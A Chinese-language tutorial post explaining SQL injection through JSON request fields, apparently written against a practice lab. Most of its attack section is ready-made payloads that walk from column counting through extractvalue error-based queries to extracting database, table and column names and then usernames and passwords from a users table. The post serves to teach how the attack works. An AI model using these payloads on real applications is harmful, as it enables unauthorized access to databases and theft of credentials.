json的注入

当应用程序将用户输入的JSON数据直接拼接到SQL查询中,而没有充分验证和过滤时,就会产生JSON注入漏洞。

常见场景:

  • RESTful API接口

  • 前后端分离应用

  • 移动应用后端

  • 微服务架构

json注入原理:json注入是指应用程序所解析的json数据来源于不可信赖的数据源,程序对这些不可信赖的数据进行验证,过滤,如果应用程序使用未经验证的输入构造json,则可以更改json数据的语义。

梳理json语句怎么使用:

{"username": "admin' union select..."}

这里先找他的列数吧

{"username": "admin' order by 1 #"}

{"username": "admin' order by 2 #"}依次类推

1.查询数据库

json={"username":"admin' union select 1,extractvalue(1,(concat(0x7e,(select database()),0x7e)))#"}

加入找到的是security数据库

2.查询到数据库后然后查询数据库的表

json={"username":"admin' union select 1,extractvalue(1,(concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e)))#"}

假如找到的的是user表

3.查询到数据库的表之后查列数

{"username":"admin' union select 1,extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),0x7e))#"}

4.然后在列数里面寻找有用的信息

{"username":"admin' union select 1,extractvalue(1,concat(0x7e,(select password from users limit 0,1),0x7e))#"}

{"username":"admin' union select 1,extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))#"}

拆分来看就是这样的一个写法:

{

"username": "admin' union select

1, -- 第一个字段占位

extractvalue(1, -- 第二个字段执行注入

concat(0x7e,

(select database()), -- 要提取的数据

0x7e)

) #"

}

相关推荐
电商API&Tina3 小时前
电商数据采集 API 接口 全维度解析(技术 + 商业 + 合规)
java·大数据·开发语言·数据库·人工智能·json
liwulin05063 小时前
【JSON】使用com.fasterxml.jackson解析json字符串
java·数据库·json
奔跑的呱呱牛8 小时前
geojson-to-kml (KML 格式转换工具)
arcgis·json
一起养小猫9 小时前
Flutter for OpenHarmony 实战:打造功能完整的云笔记应用
网络·笔记·spring·flutter·json·harmonyos
talle20212 天前
Hive | json数据处理
hive·hadoop·json
一起养小猫2 天前
Flutter for OpenHarmony 实战:网络请求与JSON解析完全指南
网络·jvm·spring·flutter·json·harmonyos
雪碧聊技术2 天前
JSON数据格式
json·fastjson
从此不归路2 天前
Qt5 进阶【12】JSON/XML 数据协议处理:与后端/配置文件的对接
xml·开发语言·c++·qt·json
说给风听.3 天前
零基础学 JSON:原理、语法与应用全解析
json
天若有情6733 天前
XiangJsonCraft v1.2.0重大更新解读:本地配置优先+全量容错,JSON解耦开发体验再升级
前端·javascript·npm·json·xiangjsoncraft